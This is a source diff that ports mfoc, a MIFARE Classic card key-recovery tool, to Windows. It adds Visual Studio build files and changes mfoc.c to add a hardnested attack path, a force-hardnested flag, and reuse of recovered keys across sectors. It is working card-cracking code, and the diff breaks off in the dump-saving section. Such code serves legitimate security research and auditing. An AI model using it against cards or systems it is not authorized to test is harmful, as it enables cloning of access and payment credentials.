<ProjectGuid>{24ea25a3-9008-44c1-83dd-4a81d02fc478}</ProjectGuid>
<RootNamespace>mfochardnested</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>ClangCL</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
<VCToolsVersion>
</VCToolsVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<IncludePath>.\include;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>
</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;NOGDI;_AMD64_;_CRT_SECURE_NO_WARNINGS;CONFFILES;DRIVER_ACR122S_ENABLED;DRIVER_ACR122_USB_ENABLED;DRIVER_ARYGON_ENABLED;DRIVER_PN532_UART_ENABLED;DRIVER_PN53X_USB_ENABLED;ENVVARS;HAVE_CONFIG_H;LOG;u_int16_t=uint16_t;u_int8_t=uint8_t;WIN32;_WINDOWS;W3;MD;__PTW32_CLEANUP_SEH;LZMA_API_STATIC;__x86_64__;HAVE_ERRNO_H;WIN64;_WIN64;__PTW32_STATIC_LIB;_CRT_SECURE_NO_DEPRECATE;__PTW32_RC_MSC;__PTW32_ARCHX64;X86_SIMD;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>Default</LanguageStandard>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<EnableParallelCodeGeneration>true</EnableParallelCodeGeneration>
<Optimization>Full</Optimization>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<EnableEnhancedInstructionSet>NotSet</EnableEnhancedInstructionSet>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
<FloatingPointModel>Precise</FloatingPointModel>
<OmitFramePointers>true</OmitFramePointers>
<AdditionalOptions>-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>lib\liblzma.lib;lib\libpthreadVSE3.lib;lib\libusb.lib;lib\nfc.lib</AdditionalDependencies>
<EnableUAC>false</EnableUAC>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib</IgnoreSpecificDefaultLibraries>
</Link>
<PostBuildEvent>
<Command>rd /s /q $(SolutionDir)dist
md $(SolutionDir)dist\$(ProjectName)
copy $(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe $(SolutionDir)dist\$(ProjectName)
copy $(SolutionDir)src\lib\*.dll $(SolutionDir)dist\$(ProjectName)
powershell Compress-Archive $(SolutionDir)dist\$(ProjectName) $(SolutionDir)dist\$(ProjectName).zip</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,140 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Header files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="C files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="mfoc.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="cmdhfmfhard.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="crapto1.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="crypto1.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="mifare.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="nfc-utils.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="parity.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="ui.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="util_posix.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="getopt.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="stdlib.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_AVX.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_AVX2.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_AVX512.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bf_core_SSE2.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX2.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX512.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bitarray_core_SSE2.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_bruteforce.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\hardnested_cpu_dispatch.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="hardnested\tables.c">
<Filter>C files</Filter>
</ClCompile>
<ClCompile Include="util.c">
<Filter>C files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="cmdhfmfhard.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="crapto1.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="mfoc.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="mifare.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="nfc-utils.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="parity.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="slre.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="ui.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="util_posix.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="getopt.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="unistd.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="windows.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="bf_bench_data.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="hardnested\hardnested_bruteforce.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="hardnested\hardnested_cpu_dispatch.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="hardnested\tables.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="util.h">
<Filter>Header files</Filter>
</ClInclude>
<ClInclude Include="config_w.h">
<Filter>Header files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommand> $(SolutionDir)dist\$(ProjectName)\$(ProjectName).exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>
</LocalDebuggerCommandArguments>
</PropertyGroup>
</Project>

View File

@ -37,8 +37,15 @@
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include <inttypes.h>
#ifdef _MSC_VER
#include "unistd_w.h"
#include "getopt.h"
#include "../config_w.h"
#else
#include <unistd.h> #include <unistd.h>
#include "../config.h"
#endif
// NFC // NFC
#include <nfc/nfc.h> #include <nfc/nfc.h>
@ -47,7 +54,6 @@
#include "crapto1.h" #include "crapto1.h"
// Internal // Internal
#include "config.h"
#include "mifare.h" #include "mifare.h"
#include "nfc-utils.h" #include "nfc-utils.h"
#include "mfoc.h" #include "mfoc.h"
@ -55,6 +61,7 @@
//SLRE //SLRE
#include "slre.h" #include "slre.h"
#include "slre.c" #include "slre.c"
#include "cmdhfmfhard.h"
#define MAX_FRAME_LEN 264 #define MAX_FRAME_LEN 264
@ -72,6 +79,20 @@ uint32_t unknownSector = 0;
char unknownKeyLetter = 'A'; char unknownKeyLetter = 'A';
uint32_t unexpected_random = 0; uint32_t unexpected_random = 0;
// Sectors 0 to 31 have 4 blocks per sector.
// Sectors 32 to 39 have 16 blocks per sector.
uint8_t sector_to_block(uint8_t sector)
{
if (sector<32) {
return sector<<2;
}
sector -= 32;
return 128+(sector<<4);
}
int main(int argc, char *const argv[]) int main(int argc, char *const argv[])
{ {
int ch, i, k, n, j, m; int ch, i, k, n, j, m;
@ -87,7 +108,7 @@ int main(int argc, char *const argv[])
int dumpKeysA = true; int dumpKeysA = true;
bool failure = false; bool failure = false;
bool skip = false; bool skip = false;
bool force_hardnested = false;
// Next default key specified as option (-k) // Next default key specified as option (-k)
uint8_t *defKeys = NULL, *p; uint8_t *defKeys = NULL, *p;
size_t defKeys_len = 0; size_t defKeys_len = 0;
@ -110,8 +131,6 @@ int main(int argc, char *const argv[])
}; };
mftag t;
mfreader r;
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
// Pointers to possible keys // Pointers to possible keys
@ -126,21 +145,22 @@ int main(int argc, char *const argv[])
mifare_cmd mc; mifare_cmd mc;
FILE *pfDump = NULL; FILE *pfDump = NULL;
FILE *pfKey = NULL;
//File pointers for the keyfile //File pointers for the keyfile
FILE * fp; FILE * fp;
char line[20]; char line[20];
size_t len = 0;
char * read; bool use_default_key=true;
//Regexp declarations //Regexp declarations
static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])"; static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])";
struct slre_cap caps[2]; struct slre_cap caps[2];
// Parse command line arguments // Parse command line arguments
while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) { while ((ch = getopt(argc, argv, "hCFP:T:O:k:f:")) != -1) {
switch (ch) { switch (ch) {
case 'C':
use_default_key=false;
break;
case 'P': case 'P':
// Number of probes // Number of probes
if (!(probes = atoi(optarg)) || probes < 1) { if (!(probes = atoi(optarg)) || probes < 1) {
@ -165,7 +185,7 @@ int main(int argc, char *const argv[])
fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg); fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg);
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
while ((read = fgets(line, sizeof(line), fp)) != NULL) { while ((fgets(line, sizeof(line), fp)) != NULL) {
int i, j = 0, str_len = strlen(line); int i, j = 0, str_len = strlen(line);
while (j < str_len && while (j < str_len &&
(i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) { (i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) {
@ -184,7 +204,7 @@ int main(int argc, char *const argv[])
j += i; j += i;
} }
} }
break; break;
case 'k': case 'k':
// Add this key to the default keys // Add this key to the default keys
p = realloc(defKeys, defKeys_len + 6); p = realloc(defKeys, defKeys_len + 6);
@ -198,6 +218,10 @@ int main(int argc, char *const argv[])
fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6)); fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6));
defKeys_len = defKeys_len + 6; defKeys_len = defKeys_len + 6;
break;
case 'F':
//force hardnested
force_hardnested = true;
break; break;
case 'O': case 'O':
// File output // File output
@ -207,14 +231,6 @@ int main(int argc, char *const argv[])
} }
// fprintf(stdout, "Output file: %s\n", optarg); // fprintf(stdout, "Output file: %s\n", optarg);
break; break;
case 'D':
// Partial File output
if (!(pfKey = fopen(optarg, "w"))) {
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
exit(EXIT_FAILURE);
}
// fprintf(stdout, "Output file: %s\n", optarg);
break;
case 'h': case 'h':
usage(stdout, 0); usage(stdout, 0);
break; break;
@ -224,10 +240,10 @@ int main(int argc, char *const argv[])
} }
} }
if (!pfDump) { // if (!pfDump) {
ERR("parameter -O is mandatory"); // ERR("parameter -O is mandatory");
exit(EXIT_FAILURE); // exit(EXIT_FAILURE);
} // }
// Initialize reader/tag structures // Initialize reader/tag structures
mf_init(&r); mf_init(&r);
@ -256,11 +272,6 @@ int main(int argc, char *const argv[])
goto error; goto error;
} }
/*
// wait for tag to appear
for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100);
*/
int tag_count; int tag_count;
if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) { if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) {
nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); nfc_perror(r.pdi, "nfc_initiator_select_passive_target");
@ -343,9 +354,52 @@ int main(int argc, char *const argv[])
fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n"); fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n");
fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n"); fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n");
// Set the authentication information (uid) // Set the authentication information (uid)
bool did_hardnested=false;
check_keys:
if (did_hardnested) {
use_default_key=false;
printf("\nChecking for key reuse...\n");
defKeys_len=0;
free(defKeys);
defKeys=malloc(0);
for (int i=0;i<t.num_sectors;++i) {
if (t.sectors[i].foundKeyA) {
bool seen=false;
for (int k=0;k<defKeys_len;k+=6) {
if (memcmp(defKeys+k,t.sectors[i].KeyA,6)==0) {
seen=true;
break;
}
}
if (!seen) {
defKeys=realloc(defKeys,defKeys_len+6);
memcpy(defKeys+defKeys_len,t.sectors[i].KeyA,6);
defKeys_len+=6;
}
}
if (t.sectors[i].foundKeyB) {
bool seen=false;
for (int k=0;k<defKeys_len;k+=6) {
if (memcmp(defKeys+k,t.sectors[i].KeyB,6)==0) {
seen=true;
break;
}
}
if (!seen) {
defKeys=realloc(defKeys,defKeys_len+6);
memcpy(defKeys+defKeys_len,t.sectors[i].KeyB,6);
defKeys_len+=6;
}
}
}
}
memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid));
// Iterate over all keys (n = number of keys) // Iterate over all keys (n = number of keys)
n = sizeof(defaultKeys) / sizeof(defaultKeys[0]); n = sizeof(defaultKeys) / sizeof(defaultKeys[0]);
if (!use_default_key) {
n=0;
}
size_t defKey_bytes_todo = defKeys_len; size_t defKey_bytes_todo = defKeys_len;
key = 0; key = 0;
while (key < n || defKey_bytes_todo) { while (key < n || defKey_bytes_todo) {
@ -385,7 +439,7 @@ int main(int argc, char *const argv[])
//fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); //fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) { if ((nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) {
//fprintf(stdout, "Failed!\n"); //fprintf(stdout, "Failed!\n");
mf_configure(r.pdi); mf_configure(r.pdi);
mf_anticollision(t, r); mf_anticollision(t, r);
@ -503,7 +557,7 @@ int main(int argc, char *const argv[])
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { if ((nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
fprintf(stdout, "Failed!\n"); fprintf(stdout, "Failed!\n");
mf_configure(r.pdi); mf_configure(r.pdi);
mf_anticollision(t, r); mf_anticollision(t, r);
@ -536,107 +590,114 @@ int main(int argc, char *const argv[])
} }
} }
if (skip) continue; // We have already revealed key, go to the next iteration if (skip) continue; // We have already revealed key, go to the next iteration
// Max probes for auth for each sector if ((mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0) == -99999) || force_hardnested == true) {
for (k = 0; k < probes; ++k) { //Hardnested attack
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode uint8_t blockNo = sector_to_block(e_sector); //Block
if(authresult == -99999){ uint8_t keyType = (t.sectors[e_sector].foundKeyA ? MC_AUTH_A : MC_AUTH_B);
//for now we return the last sector that is unknown uint8_t *key = (t.sectors[e_sector].foundKeyA ? t.sectors[e_sector].KeyA : t.sectors[e_sector].KeyB);;
nfc_close(r.pdi); uint8_t trgBlockNo = sector_to_block(j); //block
nfc_exit(context); uint8_t trgKeyType = (dumpKeysA ? MC_AUTH_A : MC_AUTH_B);
if(pfKey) { mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType);
fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); did_hardnested=true;
fclose(pfKey); goto check_keys;
} } else {
return 9; //Nested attack
} // DSR! - fix https://github.com/vk496/mfoc/issues/4
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
// Configure device to the previous state
mf_configure(r.pdi);
mf_anticollision(t, r);
pk->possibleKeys = NULL;
pk->size = 0;
// We have 'sets' * 32b keystream of potential keys
for (n = 0; n < sets; n++) {
// AUTH + Recovery key mode (for a_sector), repeat 5 times
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
mf_configure(r.pdi); mf_configure(r.pdi);
mf_anticollision(t, r); mf_anticollision(t, r);
fprintf(stdout, ".");
fflush(stdout); // Max probes for auth for each sector
} for (k = 0; k < probes; ++k) {
fprintf(stdout, "\n"); // Try to authenticate to exploit sector and determine distances (filling denonce.distances)
// Get first 15 grouped keys mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0); // AUTH + Get Distances mode
ck = uniqsort(pk->possibleKeys, pk->size); printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
for (i = 0; i < TRY_KEYS ; i++) { // Configure device to the previous state
// We don't known this key, try to break it mf_configure(r.pdi);
// This key can be found here two or more times mf_anticollision(t, r);
if (ck[i].count > 0) {
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
// Set required authetication method
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
} else { pk->possibleKeys = NULL;
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); pk->size = 0;
t.sectors[j].foundKeyB = true; // We have 'sets' * 32b keystream of potential keys
} for (n = 0; n < sets; n++) {
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), // AUTH + Recovery key mode (for a_sector), repeat 5 times
bytes_to_num(mp.mpa.abtKey, 6)); mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA, 0, 0);
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
if (!t.sectors[j].foundKeyB) {
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
fprintf(stdout, "Failed!\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else {
fprintf(stdout, "OK\n");
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
t.sectors[j].foundKeyB = true;
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
}
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
}
}
mf_configure(r.pdi); mf_configure(r.pdi);
mf_anticollision(t, r); mf_anticollision(t, r);
break; fprintf(stdout, ".");
fflush(stdout);
} }
fprintf(stdout, "\n");
// Get first 15 grouped keys
ck = uniqsort(pk->possibleKeys, pk->size);
for (i = 0; i < TRY_KEYS ; i++) {
// We don't known this key, try to break it
// This key can be found here two or more times
if (ck[i].count > 0) {
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
// Set required authetication method
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
int res;
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
if (res != NFC_EMFCAUTHFAIL) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
} else {
// Save all information about successfull authentization
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
if (dumpKeysA) {
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyA = true;
} else {
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
t.sectors[j].foundKeyB = true;
}
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
bytes_to_num(mp.mpa.abtKey, 6));
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
if (!t.sectors[j].foundKeyB) {
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
if ((nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
fprintf(stdout, "Failed!\n");
mf_configure(r.pdi);
mf_anticollision(t, r);
} else {
fprintf(stdout, "OK\n");
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
t.sectors[j].foundKeyB = true;
bk->size++;
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
}
} else {
if (res != NFC_ERFTRANS) {
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
goto error;
}
mf_anticollision(t, r);
}
}
mf_configure(r.pdi);
mf_anticollision(t, r);
break;
}
}
}
free(pk->possibleKeys);
free(ck);
// Success, try the next sector
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
} }
}
free(pk->possibleKeys);
free(ck);
// Success, try the next sector
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
} }
// We haven't found any key, exiting // We haven't found any key, exiting
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
@ -727,13 +788,15 @@ int main(int argc, char *const argv[])
} }
// Finally save all keys + data to file // Finally save all keys + data to file
uint16_t dump_size = (t.num_blocks + 1) * 16; if (pfDump) {
